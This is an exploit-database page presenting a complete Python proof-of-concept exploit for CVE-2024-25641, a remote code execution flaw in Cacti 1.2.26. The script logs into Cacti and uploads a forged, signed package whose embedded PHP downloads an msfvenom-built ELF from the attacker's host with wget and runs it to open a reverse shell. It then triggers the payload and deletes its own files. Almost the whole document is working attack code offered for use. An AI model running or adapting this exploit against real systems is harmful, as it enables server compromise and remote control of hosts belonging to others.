Exploit database

GH-11640163765c436f4d1a6e4e1a81c5f3

leo-mitch/cve-2024-25641-rce-automated-exploit-cacti-1.2.26

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2024-25641

9 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.py

Python · 8,660 bytes
import argparse
import os
import re
import requests
import subprocess
import random
import string
import pytz
import time
import threading
from datetime import datetime
from requests_toolbelt.multipart.encoder import MultipartEncoder

def made_by_returNothing_on_twitter():
    cactus = """
 _  _
| || | _
| || || |
| || || |
 \_  || |
   |  _/
   | | 
   |_|
    """
    print(cactus)
    print("Made by return0")
    print("Twitter / X : @returNothing")
    print("Github  : thisisveryfunny")
    print("Discord : thisisveryfunny")
    print("HTB : ReturnTo0 (slide some respect :)")
    print("\n")

def create_php_script(local_ip, web_port, payload_port):
    php_script_content = f"""<?php

$xmldata = "<xml>
   <files>
       <file>
           <name>resource/test.php</name>
           <data>%s</data>
           <filesignature>%s</filesignature>
       </file>
   </files>
   <publickey>%s</publickey>
   <signature></signature>
</xml>";
$filedata = "<?php system('cd /tmp;wget http://{local_ip}:{web_port}/elf -O elf && chmod 777 elf && ./elf'); ?>";
$keypair = openssl_pkey_new(); 
$public_key = openssl_pkey_get_details($keypair)["key"]; 
openssl_sign($filedata, $filesignature, $keypair, OPENSSL_ALGO_SHA256);
$data = sprintf($xmldata, base64_encode($filedata), base64_encode($filesignature), base64_encode($public_key));
openssl_sign($data, $signature, $keypair, OPENSSL_ALGO_SHA256);
file_put_contents("test.xml", str_replace("<signature></signature>", "<signature>".base64_encode($signature)."</signature>", $data));
system("cat test.xml | gzip -9 > test.xml.gz; rm test.xml");
system("msfvenom -p linux/x86/shell_reverse_tcp LHOST={local_ip} LPORT={payload_port} -f elf -o elf")

?>
"""
    with open("script.php", "w") as file:
        file.write(php_script_content)

def execute_php_script():
    subprocess.run(["chmod", "+x", "script.php"])
    subprocess.run(["echo", "[*] Generating msfvenom payload..."])
    subprocess.run(["php", "script.php"])

def get_current_cookies():
    current_time = datetime.now(pytz.timezone("America/New_York"))
    timezone_map = {
        "EDT": "Eastern Daylight Time",
        "EST": "Eastern Standard Time",
    }
    timezone_abbr = current_time.strftime("%Z")
    timezone_full = timezone_map.get(timezone_abbr, timezone_abbr)
    cacti_datetime = current_time.strftime(f"%a %b %d %Y %H:%M:%S GMT%z ({timezone_full})")
    timezone_offset = int(current_time.utcoffset().total_seconds() / 60)
    cacti_timezone = f"{timezone_offset}"
    cookies = {
        "CactiDateTime": cacti_datetime,
        "CactiTimeZone": cacti_timezone,
    }
    
    return cookies

def get_cookies_and_csrf(url):
    response = requests.get(url)
    cookies = response.cookies
    csrf_token = re.search(r"var csrfMagicToken='(sid:[^;]+);", response.text).group(1)
    generated_cookies = get_current_cookies()
    cookies.update(generated_cookies)
    
    return cookies, csrf_token

def login(url, cookies, csrf_token, username, password):
    csrf_token_encoded = csrf_token.replace(":", "%3A").replace(",", "%2C")
    login_data = f"__csrf_magic={csrf_token_encoded}&action=login&login_username={username}&login_password={password}"

    cookie_order = ["CactiDateTime", "CactiTimeZone", "Cacti"]
    cookie_header = "; ".join([f"{name}={cookies.get(name)}" for name in cookie_order if cookies.get(name)])

    headers = {
        "Host": url.split("//")[-1],
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
        "Content-Type": "application/x-www-form-urlencoded",
        "Referer": f"{url}/cacti/index.php",
        "Origin": url,
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br",
        "Connection": "close",
        "Upgrade-Insecure-Requests": "1",
        "Cookie": cookie_header
    }

    print(f"[*] Attempting login with credentials: {username}:{password}")
    response = requests.post(f"{url}/cacti/index.php", data=login_data, cookies=cookies, headers=headers)

    if "Logged in as" in response.text:
        print("[+] Login successful")
        cookies.update(response.cookies)
        return cookies
    elif "Access Denied!" in response.text:
        print("[-] Login failed: Access Denied!")
        return None
    else:
        print("[-] Login failed: Unexpected response")
        return None

def generate_numeric_boundary():
    return "---------------------------" + ''.join(random.choices(string.digits, k=27))

def upload_malicious_file(url, cookies, csrf_token):
    csrf_token_encoded = csrf_token.replace(":", "%3A").replace(",", "%2C")
    boundary = generate_numeric_boundary()
    m = MultipartEncoder(
        fields={
            "__csrf_magic": csrf_token,
            "import_file": ("test.xml.gz", open("test.xml.gz", "rb"), "application/gzip"),
            "trust_signer": "on",
            "data_source_profile": "1",
            "remove_orphans": "on",
            "replace_svalues": "on",
            "image_format": "3",
            "graph_height": "200",
            "graph_width": "700",
            "save_component_import": "1",
            "preview_only": "on",
            "action": "save"
        },
        boundary=boundary
    )
    
    headers = {
        "Host": url.split("//")[-1],
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
        "Accept": "*/*",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br",
        "X-Requested-With": "XMLHttpRequest",
        "Content-Type": f"multipart/form-data; boundary={boundary}",
        "Origin": url,
        "Connection": "close",
        "Referer": f"{url}/cacti/package_import.php",
        "Cookie": "; ".join([f"{k}={v}" for k, v in cookies.items()])
    }
    print(f"[*] Uploading malicious file...")
    response = requests.post(f"{url}/cacti/package_import.php?package_location=0&preview_only=on&remove_orphans=on&replace_svalues=on", data=m, headers=headers)
    
    confirm_data = (
        f"__csrf_magic={csrf_token_encoded}&"
        "trust_signer=on&"
        "data_source_profile=1&"
        "remove_orphans=on&"
        "replace_svalues=on&"
        "image_format=3&"
        "graph_height=200&"
        "graph_width=700&"
        "save_component_import=1&"
        "preview_only=&"
        "action=save"
    )

    headers["Content-Type"] = "application/x-www-form-urlencoded; charset=UTF-8"
    response = requests.post(f"{url}/cacti/package_import.php?header=false", data=confirm_data, headers=headers)
    return response

def trigger_payload(url, cookies):
    request_completed = threading.Event()

    def make_request():
        print(f"[*] Triggering the payload...")
        try:
            response = requests.get(f"{url}/cacti/resource/test.php", cookies=cookies, timeout=3)
            request_completed.set()
        except requests.exceptions.Timeout:
            print("[*] Enjoy the reverse shell :)")

    request_thread = threading.Thread(target=make_request)
    request_thread.start()
    request_thread.join(timeout=3)

    if not request_completed.is_set():
        print("[+] Payload triggered successfully")
    else:
        print("[-] Maybe it didn't work.")
    
    command = "rm -rf script.php test.xml.gz elf"
    subprocess.run(command, shell=True)
    
    return request_thread

def main():
    made_by_returNothing_on_twitter()
    parser = argparse.ArgumentParser(description="Exploit script")
    parser.add_argument("-L", "--local_ip", required=True, help="Local IP address")
    parser.add_argument("-lp", "--payload_port", required=True, help="Port number for msfvenom payload")
    parser.add_argument("-wp", "--web_port", required=True, help="Port number for web server")
    parser.add_argument("-url", "--url", required=True, help="Target URL")
    parser.add_argument("-u", "--username", help="Login username")
    parser.add_argument("-p", "--password", help="Login password")
    
    args = parser.parse_args()
    create_php_script(args.local_ip, args.web_port, args.payload_port)
    execute_php_script()
    cookies, csrf_token = get_cookies_and_csrf(args.url)

    if args.username and args.password:
        login_cookies = login(args.url, cookies, csrf_token, args.username, args.password)
        if login_cookies:
            upload_malicious_file(args.url, login_cookies, csrf_token)
            trigger_payload(args.url, login_cookies)
        else:
            print("[*] ERROR: Login cookies not set")

if __name__ == "__main__":
    main()